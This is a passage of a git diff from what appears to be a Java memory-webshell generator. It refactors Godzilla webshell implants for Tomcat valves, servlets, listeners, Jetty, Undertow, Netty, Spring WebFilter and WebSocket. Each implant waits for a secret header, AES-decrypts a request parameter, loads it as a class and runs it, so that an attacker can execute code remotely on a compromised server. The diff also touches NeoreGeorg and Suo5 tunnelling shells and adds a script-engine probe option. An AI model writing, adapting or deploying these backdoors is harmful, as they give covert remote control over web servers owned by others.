headerName; + private static String headerValue; + private static Class payload; public GodzillaHandlerMethod() { } @@ -52,7 +53,7 @@ public ResponseEntity invoke(ServerWebExchange exchange) { } } catch (Throwable ex) { ex.printStackTrace(); - result.append(ex.getMessage()); + result.append(getErrorMessage(ex)); } return Mono.just(result.toString()); }); @@ -86,4 +87,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java index 34947401..9f0a0c2a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java @@ -7,19 +7,21 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/22 */ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaInterceptor() { } @@ -32,22 +34,26 @@ public GodzillaInterceptor(ClassLoader c) { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaInterceptor(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return false; } @@ -85,6 +91,21 @@ public byte[] x(byte[] s, boolean m) throws Exception { return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index d50a60bb..bef4170e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -3,17 +3,19 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaJettyHandler extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaJettyHandler() { } @@ -47,27 +49,30 @@ public boolean equals(Object obj) { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); - } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -104,4 +109,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index d8d8b14b..3382da61 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -6,18 +6,20 @@ import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaListener() { } @@ -30,28 +32,28 @@ public GodzillaListener(ClassLoader z) { public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute( - key, - (new GodzillaListener(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaListener(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } } } catch (Throwable e) { @@ -91,6 +93,21 @@ public byte[] x(byte[] s, boolean m) throws Exception { return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java index 9a3b6fd3..370a8860 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java @@ -11,6 +11,7 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; @@ -23,11 +24,11 @@ */ @ChannelHandler.Sharable public class GodzillaNettyHandler extends ChannelDuplexHandler { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; private final StringBuilder requestBody = new StringBuilder(); private HttpRequest request; private static Class payload; @@ -65,7 +66,6 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception if (payload == null) { payload = reflectionDefineClass(data); send(ctx, ""); - return; } else { Object f = payload.newInstance(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); @@ -74,10 +74,11 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception f.toString(); send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16)); } - return; } catch (Throwable e) { e.printStackTrace(); + send(ctx, getErrorMessage(e)); } + return; } ctx.fireChannelRead(msg); } @@ -145,4 +146,19 @@ private void send(ChannelHandlerContext ctx, String context) throws Exception { response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes()); ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 34111707..0b077868 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -5,20 +5,22 @@ import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/15 */ public class GodzillaServlet extends ClassLoader implements Servlet { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaServlet() { } @@ -33,24 +35,27 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep HttpServletResponse response = (HttpServletResponse) res; try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaServlet(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } - } } catch (Throwable e) { e.printStackTrace(); @@ -85,6 +90,21 @@ public static byte[] base64Decode(String bs) throws Exception { } } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void init(ServletConfig config) throws ServletException { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java index 5202036b..85875843 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java @@ -3,17 +3,19 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaUndertowServletHandler extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaUndertowServletHandler() { } @@ -36,25 +38,28 @@ public boolean equals(Object obj) { Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -91,4 +96,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 578cdda0..0ab3fdc1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -7,19 +7,21 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaValve() { } @@ -33,23 +35,26 @@ public GodzillaValve(ClassLoader z) { public void invoke(Request request, Response response) throws IOException, ServletException { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaValve(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return; } @@ -87,6 +92,21 @@ public byte[] x(byte[] s, boolean m) throws Exception { return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + protected Valve next; protected boolean asyncSupported; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java index 62d93d9c..48827485 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java @@ -11,6 +11,7 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.nio.charset.StandardCharsets; /** @@ -18,12 +19,12 @@ * @since 2024/12/25 */ public class GodzillaWebFilter extends ClassLoader implements WebFilter { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaWebFilter() { } @@ -63,6 +64,7 @@ private Mono getPost(ServerWebExchange exchange) { } } catch (Throwable e) { e.printStackTrace(); + result.append(getErrorMessage(e)); } return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); }); @@ -71,10 +73,10 @@ private Mono getPost(ServerWebExchange exchange) { @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { - Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + Object encoder = java.lang.Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); } catch (Exception var6) { - Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + Object encoder = java.lang.Class.forName("sun.misc.BASE64Encoder").newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); } } @@ -82,10 +84,10 @@ public static String base64Encode(byte[] bs) throws Exception { @SuppressWarnings("all") public static byte[] base64Decode(String bs) throws Exception { try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + Object decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + Object decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } } @@ -95,4 +97,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index fc7c0196..70905aea 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -7,6 +7,7 @@ import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; @@ -23,22 +24,28 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< @Override public void onMessage(String message) { + byte[] result = null; try { byte[] data = base64Decode(message); data = x(data, false); if (payload == null || (data[0] == -54 && data[1] == -2)) { payload = reflectionDefineClass(data); - session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); + result = "ok".getBytes(); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.toString(); - session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true))); + result = arrOut.toByteArray(); } } catch (Throwable e) { e.printStackTrace(); + result = getErrorMessage(e).getBytes(); + } + try { + session.getBasicRemote().sendText(base64Encode(x(result, true))); + } catch (Exception ignored) { } } @@ -103,4 +110,19 @@ public byte[] x(byte[] s, boolean m) throws Exception { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java index d92f2ea3..06728595 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java @@ -108,6 +108,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java index 283edaa8..7d64a707 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java @@ -78,7 +78,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java index 03dd6b72..b5f4a6ad 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java @@ -10,5 +10,6 @@ public enum ProbeContent { JDK, Bytecode, Command, - BasicInfo + BasicInfo, + ScriptEngine } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java index 9983f308..7d817d6a 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java @@ -47,6 +47,12 @@ public class ProbeConfig { @Builder.Default private boolean shrink = false; + /** + * 是否添加静态代码块调用构造方法 + */ + @Builder.Default + private boolean staticInitialize = false; + public boolean isDebugOff() { return !debug; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java index 99fae0ac..f3e59f55 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java @@ -14,5 +14,4 @@ public class ResponseBodyConfig extends ProbeContentConfig { private String server; private String reqParamName; - private String reqHeaderName; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java index 2fc04fc7..b86c72b4 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.StaticBlockSelfConstructorCall; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ProbeContentConfig; import net.bytebuddy.ByteBuddy; @@ -27,13 +28,19 @@ public ByteBuddyShellGenerator(ProbeConfig probeConfig, T probeContentConfig) { @Override public byte[] getBytes() { DynamicType.Builder builder = build(new 